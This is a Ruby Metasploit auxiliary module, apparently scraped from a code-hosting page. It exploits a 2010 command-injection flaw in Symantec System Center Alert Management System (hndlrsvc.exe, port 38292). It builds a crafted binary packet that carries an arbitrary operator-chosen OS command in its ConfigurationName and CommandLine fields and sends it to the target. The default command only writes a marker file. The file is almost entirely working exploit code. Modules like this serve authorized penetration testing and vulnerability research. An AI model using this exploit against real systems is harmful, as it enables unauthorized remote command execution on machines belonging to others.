137 lines
4.4 KiB
Ruby
137 lines
4.4 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Symantec System Center Alert Management System (hndlrsvc.exe) Arbitrary Command Execution',
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'Description' => %q{
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Symantec System Center Alert Management System is prone to a remote command-injection vulnerability
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because the application fails to properly sanitize user-supplied input.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '66807'],
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[ 'BID', '41959' ],
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[ 'URL', 'http://www.foofus.net/~spider/code/AMS2_072610.txt' ],
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],
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'DisclosureDate' => 'Jul 26 2010'))
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register_options(
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[
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Opt::RPORT(38292),
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OptString.new('CMD', [ false, 'The OS command to execute',
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'cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt']),
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], self.class)
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end
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def run
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begin
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connect
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cmd = datastore['CMD']
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if ( cmd.length > 128 )
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raise RuntimeError,"Command strings greater then 128 characters will not be processed!"
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end
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string_uno = Rex::Text.rand_text_alpha_upper(11)
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string_dos = Rex::Text.rand_text_alpha_upper(rand(4) + 5)
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packet = "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00"
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packet << "\x02\x00\x95\x94\xc0\xa8\x02\x64\x00\x00\x00\x00\x00\x00\x00\x00"
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packet << "\xe8\x03\x00\x00"
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packet << 'PRGXCNFG'
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packet << "\x10\x00\x00\x00"
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packet << "\x00\x00\x00\x00\x04"
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packet << 'ALHD\F'
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packet << "\x00\x00\x01\x00\x00"
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packet << "\x00\x01\x00\x0e\x00"
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packet << 'Risk Repaired'
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packet << "\x00\x25\x00"
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packet << 'Symantec Antivirus Corporate Edition'
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packet << "\x00\xf9\x1d\x13\x4a\x3f"
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packet << [string_uno.length + 1].pack('v') + string_uno
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packet << "\x00\x08\x08\x0a"
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packet << "\x00" + 'Risk Name'
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packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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packet << "\x00" + string_dos
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packet << "\x00\x08\x0a\x00"
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packet << 'File Path'
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packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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packet << "\x00" + string_dos
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packet << "\x00\x08\x11\x00"
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packet << 'Requested Action'
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packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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packet << "\x00" + string_dos
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packet << "\x00\x08\x0e\x00"
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packet << 'Actual Action'
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packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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packet << "\x00" + string_dos
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packet << "\x00\x08\x07\x00"
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packet << 'Logger'
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packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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packet << "\x00" + string_dos
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packet << "\x00\x08\x05\x00"
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packet << 'User'
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packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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packet << "\x00" + string_dos
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packet << "\x00\x08\x09\x00"
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packet << 'Hostname'
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packet << "\x00\x0e\x00" + [string_uno.length + 1].pack('v') + string_uno
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packet << "\x00\x08\x13\x00"
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packet << 'Corrective Actions'
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packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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packet << "\x00" + string_dos
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packet << "\x00\x00\x07\x08\x12\x00"
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packet << 'ConfigurationName'
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packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')
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packet << "\x00" + cmd
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packet << "\x00\x08\x0c\x00"
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packet << 'CommandLine'
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packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')
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packet << "\x00" + cmd
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packet << "\x00\x08\x08\x00"
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packet << 'RunArgs'
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packet << "\x00\x04\x00\x02\x00"
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packet << "\x20\x00\x03\x05\x00"
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packet << 'Mode'
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packet << "\x00\x04\x00\x02\x00\x00\x00"
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packet << "\x0a\x0d\x00"
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packet << 'FormatString'
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packet << "\x00\x02\x00\x00\x00\x08\x12\x00"
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packet << 'ConfigurationName'
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packet << "\x00\x02\x00\x00\x00\x08\x0c\x00"
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packet << 'HandlerHost'
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packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
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packet << "\x00" + string_dos
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packet << "\x00" * packet.length
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print_status("Sending command: #{datastore['CMD']}")
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sock.put(packet)
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disconnect
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rescue ::Exception
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print_error("Error: #{$!.class} #{$!}")
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end
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end
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end
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